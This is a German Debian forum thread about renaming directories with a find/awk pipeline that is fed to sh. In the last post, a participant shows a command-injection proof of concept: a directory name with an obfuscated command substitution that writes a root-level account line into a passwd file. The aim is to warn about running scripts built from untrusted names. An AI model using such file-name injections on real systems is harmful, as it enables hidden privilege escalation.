Shell script: Verzeichnisse nach Charakter trennen

Vom einfachen Programm zum fertigen Debian-Paket, Fragen rund um Programmiersprachen, Scripting und Lizenzierung.
Antworten
Benutzeravatar
bump
Beiträge: 75
Registriert: 07.04.2004 09:43:44

Shell script: Verzeichnisse nach Charakter trennen

Beitrag von bump » 21.03.2014 08:25:17

Moin moin,

ich habe jede Menge Verzeichnisse, die Nach dem Schema "ABC"-"XYZ" benannt sind.
Die würde ich gerne mittels eines Shell Scripts umbenennen/verschieben nach "ABC"/"XYZ"

Kann mir jemand sagen, wie ich das am besten bewerkstelligen kann?

Vielen Dank!
bump

Benutzeravatar
ThorstenS
Beiträge: 2875
Registriert: 24.04.2004 15:33:31

Re: Shell script: Verzeichnisse nach Charakter trennen

Beitrag von ThorstenS » 21.03.2014 08:54:06

anschauen:

Code: Alles auswählen

find . -maxdepth 1 -type d ! -name . | awk -F- 'NF<3{print "mkdir "$1"; mv "$0" "$1"/"$2}'
ausführen:

Code: Alles auswählen

find . -maxdepth 1 -type d ! -name . | awk -F- 'NF<3{print "mkdir "$1"; mv "$0" "$1"/"$2}'|sh

rendegast
Beiträge: 15041
Registriert: 27.02.2006 16:50:33
Lizenz eigener Beiträge: MIT Lizenz

Re: Shell script: Verzeichnisse nach Charakter trennen

Beitrag von rendegast » 21.03.2014 09:27:01

NF<3
Eher NF==2 ?
Könnte sonst ein

Code: Alles auswählen

mkdir $DIR; mv $DIR $DIR/
geben.
mfg rendegast
-----------------------
Viel Eifer, viel Irrtum; weniger Eifer, weniger Irrtum; kein Eifer, kein Irrtum.
(Lin Yutang "Moment in Peking")

Benutzeravatar
bump
Beiträge: 75
Registriert: 07.04.2004 09:43:44

Re: Shell script: Verzeichnisse nach Charakter trennen

Beitrag von bump » 21.03.2014 10:06:27

Das funktioniert super, danke!
:hail:

Nur...warum funktioniert das :?:
Wo ist das Trennzeichen definiert?

Grüße,
bump

EDITH Sagt: habe es gefunden, bin blind...

Benutzeravatar
ThorstenS
Beiträge: 2875
Registriert: 24.04.2004 15:33:31

Re: Shell script: Verzeichnisse nach Charakter trennen

Beitrag von ThorstenS » 21.03.2014 10:20:35

Hi rendegast,
das wirft nur einen Fehler, macht aber nix böses.
Sowas ist mir lieber, weil ich dann sehe, dass ein Ordner nicht meinem erwarteten Namensschema entspricht. Beim ==2 fällt mir das nicht auf.

@bump: freut mich, dass es dir hilft.

uname
Beiträge: 12044
Registriert: 03.06.2008 09:33:02

Re: Shell script: Verzeichnisse nach Charakter trennen

Beitrag von uname » 21.03.2014 10:24:44

Wo ist das Trennzeichen definiert?
Parameter -F von awk: Ok, ist etwas gemein. Der Parameter steht direkt hinter dem F

Code: Alles auswählen

echo "eins-zwei-drei" |awk -F- '{print $2}'
zwei
Korrekter wäre eher

Code: Alles auswählen

echo "eins-zwei-drei" |awk -F"-" '{print $2}'
zwei
da es andere Trennzeichen gibt (z.B. Semikolon) wo es nicht direkt und somit ohne Anführungszeichen funktioniert.

Cae
Beiträge: 6349
Registriert: 17.07.2011 23:36:39
Wohnort: 2130706433

Re: Shell script: Verzeichnisse nach Charakter trennen

Beitrag von Cae » 21.03.2014 15:21:00

Koennte es da nicht Probleme mit Pfaden mit Subshells drinne geben? (dieser proof of concept geht bestimmt auch kuerzer:)

Code: Alles auswählen

$ mkdir 'test$(eval "$(printf echo\ a:b:0:0:\\057:\\057bin\\057sh\ \>\>.\\057passwd)") #-'
$ find -maxdepth 1 -type d ! -name . | awk -F- 'NF<3{print"mkdir "$1";mv "$0" "$1"/"$2}'
mkdir ./test$(eval "$(printf echo\ a:b:0:0:\\057:\\057bin\\057sh\ \>\>.\\057passwd)") #;mv ./test$(eval "$(printf echo\ a:b:0:0:\\057:\\057bin\\057sh\ \>\>.\\057passwd)") #- ./test$(eval "$(printf echo\ a:b:0:0:\\057:\\057bin\\057sh\ \>\>.\\057passwd)") #/
$ find -maxdepth 1 -type d ! -name . | awk -F- 'NF<3{print"mkdir "$1";mv "$0" "$1"/"$2}' | sh
$ cat passwd 
a:b:0:0:/:/bin/sh
$ 
Das wuerde einen Account a mit root-Rechten und Passwort b anlegen (sofern man den Pfad zur passwd(5) richtig schreibt). Ich hab' so langsam den Eindruck, dass Shell-Skripte einfach nur saumaessig gefaehrlich werden, sofern man nicht ausschliesslich mit vertrauten Daten hantiert. Und es muss ja nicht mal die passwd(5) sein, die beschrieben wird, sondern es reicht schon ein temporaerer su-Wrapper in einer ~/.bashrc des Users.

Gruss Cae
If universal surveillance were the answer, lots of us would have moved to the former East Germany. If surveillance cameras were the answer, camera-happy London, with something like 500,000 of them at a cost of $700 million, would be the safest city on the planet.

—Bruce Schneier

Antworten